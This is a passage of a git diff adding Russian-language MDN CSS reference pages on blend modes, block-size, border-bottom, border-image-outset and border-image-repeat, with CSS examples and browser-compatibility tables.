+ <div id="screen">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: screen;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('screen', "300", "300") }}</p>
+ </dd>
+ <dt><code>overlay</code></dt>
+ <dd>The final color is the result of <code>multiply</code> if the bottom color is darker, or <code>screen</code> if the bottom color is lighter.<br>
+ This blend mode is equivalent to <code>hard-light</code> but with the layers swapped.
+ <div id="overlay">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: overlay;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('overlay', "300", "300") }}</p>
+ </dd>
+ <dt><code>darken</code></dt>
+ <dd>
+ <p>The final color is a color composed of the darkest values per color channel.</p>
+
+ <div id="darken">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: darken;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('darken', "300", "300") }}</p>
+ </dd>
+ <dt><code>lighten</code></dt>
+ <dd>
+ <p>The final color is a color composed of the lightest values per color channel.</p>
+
+ <div id="lighten">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: lighten;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('lighten', "300", "300") }}</p>
+ </dd>
+ <dt><code>color-dodge</code></dt>
+ <dd>
+ <p>The final color is the result of dividing the bottom color by the inverse of the top color.<br>
+  A black foreground leads to no change. A foreground with the inverse color of the backdrop leads to a fully lit color.<br>
+  This blend mode is similar to screen, but the foreground need only be as light as the inverse of the backdrop to reach a fully lit color.</p>
+
+ <div id="color-dodge">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: color-dodge;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('color-dodge', "300", "300") }}</p>
+ </dd>
+ <dt><code>color-burn</code></dt>
+ <dd>
+ <p>This final color is the result of inverting the bottom color, dividing the value by the top color, and inverting that value.<br>
+  A white foreground leads to no change. A foreground with the inverse color of the backdrop leads to a black final image.<br>
+  This blend mode is similar to multiply, but the foreground need only be as dark as the inverse of the backdrop to make the final image black.</p>
+
+ <div id="color-burn">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: color-burn;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('color-burn', "300", "300") }}</p>
+ </dd>
+ <dt><code>hard-light</code></dt>
+ <dd>
+ <p>The final color is the result of <code>multiply</code> if the top color is darker, or <code>screen</code> if the top color is lighter.<br>
+  This blend mode is equivalent to <code>overlay</code> but with the layers swapped.<br>
+  The effect is similar to shining a <em>harsh</em> spotlight on the backdrop.</p>
+
+ <div id="hard-light">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: hard-light;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('hard-light', "300", "300") }}</p>
+ </dd>
+ <dt><code>soft-light</code></dt>
+ <dd>
+ <p>The final color is similar to hard-light, but softer.<br>
+  This blend mode behaves similar to <code>hard-light</code>.<br>
+  The effect is similar to shining a <em>diffused</em> spotlight on the backdrop<em><code>.</code></em></p>
+
+ <div id="soft-light">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: soft-light;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('soft-light', "300", "300") }}</p>
+ </dd>
+ <dt><code>difference</code></dt>
+ <dd>
+ <p>The final color is the result of subtracting the darker of the two colors from the lighter one.<br>
+  A black layer has no effect, while a white layer inverts the other layer's color.</p>
+
+ <div id="difference">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: difference;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('difference', "300", "300") }}</p>
+ </dd>
+ <dt><code>exclusion</code></dt>
+ <dd>
+ <p>The final color is similar to <code>difference,</code> but with less contrast.<br>
+  As with <code>difference</code>,  a black layer has no effect, while a white layer inverts the other layer's color.</p>
+
+ <div id="exclusion">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: exclusion;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('exclusion', "300", "300") }}</p>
+ </dd>
+ <dt><code>hue</code></dt>
+ <dd>
+ <p>The final color has the <em>hue</em> of the top color, while using the <em>saturation</em> and <em>luminosity</em> of the bottom color.</p>
+
+ <div id="hue">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: hue;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('hue', "300", "300") }}</p>
+ </dd>
+ <dt><code>saturation</code></dt>
+ <dd>
+ <p>The final color has the <em>saturation</em> of the top color, while using the <em>hue</em> and <em>luminosity</em> of the bottom color.<br>
+  A pure gray backdrop, having no saturation, will have no effect.</p>
+
+ <div id="saturation">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: saturation;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('saturation', "300", "300") }}</p>
+ </dd>
+ <dt><code>color</code></dt>
+ <dd>
+ <p>The final color has the<em> <em>hue</em></em> and <em><em>saturation</em> </em>of the top color, while using the <em>luminosity</em> of the bottom color.<br>
+  The effect preserves gray levels and can be used to colorize the foreground.</p>
+
+ <div id="color">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: color;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('color', "300", "300") }}</p>
+ </dd>
+ <dt><code>luminosity</code></dt>
+ <dd style="">
+ <p>The final color has the <em>luminosity</em> of the top color, while using the <em>hue</em> and <em>saturation</em> of the bottom color.<br>
+  This blend mode is equivalent to color, but with the layers swapped.</p>
+
+ <div id="luminosity">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: luminosity;
+}</pre>
+ </div>
+
+ <p style="">{{ EmbedLiveSample('luminosity', "300", "300") }}</p>
+ </dd>
+</dl>
+
+<h2 id="Интерполяция_режимов_наложения" style=""><span class="short_text" id="result_box" lang="ru"><span class="hps">Интерполяция режимов наложения</span></span></h2>
+
+<div> </div>
+
+<p>Changes between blends mode are not interpolated. Any change occurs abruptly.</p>
+
+<h2 id="Спецификации" style="">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr style="">
+   <td style="">{{ SpecName('Compositing', '#ltblendmodegt', '&lt;blend-mode&gt;') }}</td>
+   <td>{{ Spec2('Compositing') }}</td>
+   <td style="">Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility" style="">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop" style="">
+<table class="compat-table">
+ <tbody>
+  <tr style="">
+   <th style="">Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>35</td>
+   <td>{{compatVersionUnknown()}}</td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{compatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile" style="">
+<table class="compat-table">
+ <tbody>
+  <tr style="">
+   <th style="">Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{compatVersionUnknown()}}</td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{compatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также" style="">Смотрите также</h2>
+
+<ul style="">
+ <li>Properties using a value of this type: {{cssxref("background-blend-mode")}} and {{cssxref("mix-blend-mode")}}</li>
+ <li style=""><a href="http://en.wikipedia.org/wiki/Blend_modes" style="">Blend modes</a></li>
+ <li style=""><a href="/en-US/docs/CSS/CSS_Reference" title="CSS Reference">CSS Reference</a> index</li>
+</ul>
diff --git a/files/ru/web/css/block-size/index.html b/files/ru/web/css/block-size/index.html
new file mode 100644
index 0000000000..413705bb6d
--- /dev/null
+++ b/files/ru/web/css/block-size/index.html
@@ -0,0 +1,104 @@
+---
+title: block-size
+slug: Web/CSS/block-size
+tags:
+  - CSS
+  - CSS Logical Property
+  - CSS Property
+  - Experimental
+  - Reference
+  - Справка
+  - Экспериментальный
+translation_of: Web/CSS/block-size
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>Свойство <strong><code>block-size</code></strong> <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> задает горизонтальный и вертикальный размер блока элемента, в зависимости от режима его записи (writing mode). Оно соответствует свойствам {{cssxref("width")}} и {{cssxref("height")}} и зависит от значения свойства {{cssxref("writing-mode")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+block-size: 300px;
+block-size: 25em;
+
+/* &lt;percentage&gt; values */
+block-size: 75%;
+
+/* Keyword values */
+block-size: 25em border-box;
+block-size: 75% content-box;
+block-size: max-content;
+block-size: min-content;
+block-size: available;
+block-size: fit-content;
+block-size: auto;
+
+/* Global values */
+block-size: inherit;
+block-size: initial;
+block-size: unset;
+</pre>
+
+<p>Если режим записи (writing mode) ориентирован по вертикали, то значение <code> block-size  относится к ширине элемента; в противном случае это относится к высоте элемента. С данным свойством связано свойство {{cssxref("inline-size")}}, которое задает другое измерение элемента.</code></p>
+
+<p><code>{{cssinfo}}</code></p>
+
+<h2 id="Синтаксис"><code>Синтаксис</code></h2>
+
+<h3 id="Значения"><code>Значения</code></h3>
+
+<p><code>Свойство <code>block-size</code> принимает те же значения, что и свойства {{cssxref("width")}}, {{cssxref("height")}} </code></p>
+
+<h3 id="Формальный_синтаксис"><code>Формальный синтаксис</code></h3>
+
+<pre class="syntaxbox"><code>
+{{csssyntax}}</code></pre>
+
+<h2 id="Пример"><code>Пример</code></h2>
+
+<h3 id="HTML"><code>HTML</code></h3>
+
+<pre class="brush: html"><code>
+&lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+</code></pre>
+
+<h3 id="CSS"><code>CSS</code></h3>
+
+<pre class="brush: css"><code>
+.exampleText {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  block-size: 200px;
+}</code></pre>
+
+<p><code>{{EmbedLiveSample("Example")}}</code></p>
+
+<h2 id="Спецификация"><code>Спецификация</code></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><code>Specification</code></th>
+   <th scope="col"><code>Status</code></th>
+   <th scope="col"><code>Comment</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{SpecName("CSS Logical Properties", "#logical-dimension-properties", "block-size")}}</code></td>
+   <td><code>{{Spec2("CSS Logical Properties")}}</code></td>
+   <td><code>Initial definition</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами"><code>Совместимость с браузерами</code></h2>
+
+<div class="hidden"><code>Таблица совместимости на этой странице создается на основе структурированных данных. Если вы хотите внести свой вклад в разработку, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам соответствующий запрос.</code></div>
+
+<p><code>{{Compat("css.properties.block-size")}}</code></p>
+
+<h2 id="Смотри_также"><code>Смотри также</code></h2>
+
+<ul>
+ <li><code>Отображаемые физические свойства: {{cssxref("width")}} and {{cssxref("height")}}</code></li>
+ <li><code>{{cssxref("writing-mode")}}</code></li>
+</ul>
diff --git a/files/ru/web/css/border-bottom/index.html b/files/ru/web/css/border-bottom/index.html
new file mode 100644
index 0000000000..e27f8f0fe8
--- /dev/null
+++ b/files/ru/web/css/border-bottom/index.html
@@ -0,0 +1,133 @@
+---
+title: border-bottom
+slug: Web/CSS/border-bottom
+translation_of: Web/CSS/border-bottom
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/CSS/Shorthand_properties">Сокращённое свойство </a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>border-bottom </code></strong>описывает нижнюю границу элемента <a href="/en-US/docs/Web/CSS/border">border</a>.</span> Оно устанавливает значения {{cssxref("border-bottom-width")}}, {{cssxref("border-bottom-style")}} и {{cssxref("border-bottom-color")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-bottom.html")}}</div>
+
+
+
+<p>Как и все сокращённые свойства, <code>border-bottom</code> устанавливает значения всех свойств, которые он может установить, даже если они не указаны. Для тех свойств, которые не указаны оно устанавливает значения по умолчанию. Это означает, что ...</p>
+
+<pre class="brush: css notranslate">border-bottom-style: dotted;
+border-bottom: thick green;
+</pre>
+
+<p>... это то же самое, что ...</p>
+
+<pre class="brush: css notranslate">border-bottom-style: dotted;
+border-bottom: none thick green;
+</pre>
+
+<p>... и значение {{cssxref("border-bottom-style")}}, указанное перед  <code>border-bottom</code> игнорируется. Поскольку значением по умолчанию для {{cssxref("border-bottom-style")}} является <code>none</code>, то без указания <code>border-style</code> граница не будет показана.</p>
+
+<h2 id="Constituent_properties">Constituent properties</h2>
+
+<p>This property is a shorthand for the following CSS properties:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/border-bottom-color"><code>border-bottom-color</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/border-bottom-style"><code>border-bottom-style</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/border-bottom-width"><code>border-bottom-width</code></a></li>
+</ul>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css no-line-numbers notranslate">border-bottom: 1px;
+border-bottom: 2px dotted;
+border-bottom: medium dashed blue;
+</pre>
+
+<p>The three values of the shorthand property can be specified in any order, and one or two of them may be omitted.</p>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt;</code></dt>
+ <dd>See {{cssxref("border-bottom-width")}}.</dd>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>See {{cssxref("border-bottom-style")}}.</dd>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>See {{cssxref("border-bottom-color")}}.</dd>
+</dl>
+
+<h2 id="Formal_definition">Formal definition</h2>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Formal_syntax">Formal syntax</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Applying_a_bottom_border">Applying a bottom border</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  This box has a border on the bottom side.
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  border-bottom: 4px dashed blue;
+  background-color: gold;
+  height: 100px;
+  width: 100px;
+  font-weight: bold;
+  text-align: center;
+}
+</pre>
+
+<h4 id="Results">Results</h4>
+
+<p>{{EmbedLiveSample('Applying_a_bottom_border')}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#propdef-border-bottom', 'border-bottom')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No direct changes, though the modification of values for the {{cssxref("border-bottom-color")}} do apply to it.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-bottom', 'border-bottom')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant changes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-bottom', 'border-bottom')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.border-bottom")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/CSS/border">border</a></code></li>
+ <li><code><a href="/en-US/docs/Web/CSS/border-block">border-block</a></code></li>
+ <li><code><a href="/en-US/docs/Web/CSS/outline">outline</a></code></li>
+</ul>
diff --git a/files/ru/web/css/border-image-outset/index.html b/files/ru/web/css/border-image-outset/index.html
new file mode 100644
index 0000000000..7236c75c05
--- /dev/null
+++ b/files/ru/web/css/border-image-outset/index.html
@@ -0,0 +1,129 @@
+---
+title: border-image-outset
+slug: Web/CSS/border-image-outset
+translation_of: Web/CSS/border-image-outset
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>The <strong><code>border-image-outset</code></strong> property describes by what amount the <dfn>border image area</dfn> extends beyond the border box.</p>
+
+<p>Portions of the border image that are rendered outside the border box as a result of this property do not cause scrolling to be triggered. These areas also don't capture or cause mouse events to occur on behalf of the bordered element.</p>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">/* border-image-outset: <em>sides</em> */
+border-image-outset: 1.5;
+
+/* border-image-outset: <em>vertical</em> <em>horizontal</em> */
+border-image-outset: 1 1.2;
+
+/* border-image-outset: <em>top</em> <em>horizontal</em> <em>bottom */</em>
+border-image-outset: 30px 2 45px;
+
+/* border-image-outset: <em>top</em> <em>right</em> <em>bottom</em> <em>left */</em>
+border-image-outset: 7px 12px 14px 5px;
+
+border-image-repeat: inherit;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<div class="note">
+<p>When a value is specified as a unitless {{cssxref("&lt;number&gt;")}}, that value is multiplied by the corresponding computed {{cssxref("border-width")}} to determine the <code>border-image-outset</code>. Negative values are invalid.</p>
+</div>
+
+<dl>
+ <dt><em>sides</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;number&gt;")}} of the amount by which the border image area extends beyond the border box in all four directions.</dd>
+ <dt><em>horizontal</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;number&gt;")}} of the amount by which the border image area extends beyond the border box in both horizontal directions (left and right).</dd>
+ <dt><em>vertical</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;number&gt;")}} of the amount by which the border image area extends beyond the border box in both vertical directions (top and bottom).</dd>
+ <dt><em>top</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;number&gt;")}} of the amount by which the border image area extends beyond the border box past its top edge.</dd>
+ <dt><em>bottom</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;number&gt;")}} of the amount by which the border image area extends beyond the border box past its bottom edge.</dd>
+ <dt><em>right</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;number&gt;")}} of the amount by which the border image area extends beyond the border box past its right edge.</dd>
+ <dt><em>left</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} or a {{cssxref("&lt;number&gt;")}} of the amount by which the border image area extends beyond the border box past its left edge.</dd>
+ <dt><code>inherit</code></dt>
+ <dd>Is a keyword indicating that all four values are inherited from each parent elements' calculated value.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-image-outset', 'border-image-outset')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>15.0</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/border-image-repeat/index.html b/files/ru/web/css/border-image-repeat/index.html
new file mode 100644
index 0000000000..15afede5b9
--- /dev/null
+++ b/files/ru/web/css/border-image-repeat/index.html
@@ -0,0 +1,154 @@
+---
+title: border-image-repeat
+slug: Web/CSS/border-image-repeat
+translation_of: Web/CSS/border-image-repeat
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание" style="">Описание</h2>
+
+<p>The <strong><code>border-image-repeat</code></strong> CSS property defines how the middle part of a border image is handled so that it can match the size of the border. It has a one-value syntax that describes the behavior of all the sides, and a two-value syntax that sets a different value for the horizontal and vertical behavior.</p>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">/* border-image-repeat: <em>type</em> */
+border-image-value: stretch;
+
+/* border-image-repeat: <em>horizontal</em> <em>vertical</em> */
+border-image-width: round stretch;
+
+/* Глобальные значения */
+border-image-repeat: inherit;
+border-image-repeat: initial;
+border-image-repeat: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><em>type</em></dt>
+ <dd>One of the <code>stretch</code>, <code>repeat</code>, or <code>round</code> keywords denoting how the image is treated both horizontally and vertically.</dd>
+ <dt><em>horizontal</em></dt>
+ <dd>One of the <code>stretch</code>, <code>repeat</code>, or <code>round</code> keywords denoting how the image is treated horizontally.</dd>
+ <dt><em>vertical</em></dt>
+ <dd>One of the <code>stretch</code>, <code>repeat</code>, or <code>round</code> keywords denoting how the image is treated vertically.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Keyword indicating that the image must be stretched to fill the gap between the two borders.</dd>
+ <dt><code>repeat</code></dt>
+ <dd>Keyword indicating that the image must be repeated until it fills the gap between the two borders.</dd>
+ <dt><code>round</code></dt>
+ <dd>Keyword indicating that the image must be repeated until it fills the gap between the two borders. If the image doesn't fit after being repeated for an integral number of times, the image is rescaled to fit.</dd>
+ <dt><code>space</code></dt>
+ <dd>The image is tiled (repeated) to fill the area. If it does not fill the area with a whole number of tiles, the extra space is distributed around the tiles.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>See {{cssxref("border-image")}} for examples of what repeat values will do.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-image-repeat', 'border-image-repeat')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>15.0</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td><code>space</code></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>11</td>
+   <td>{{CompatNo}}</td>
+   <td>9.1<sup>[5]</sup></td>
+  </tr>
+  <tr>
+   <td><code>round</code></td>
+   <td>30<sup>[4]</sup></td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>11</td>
+   <td>{{CompatUnknown}}</td>
+   <td>9.1<sup>[5]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>9.3<sup>[5]</sup></td>
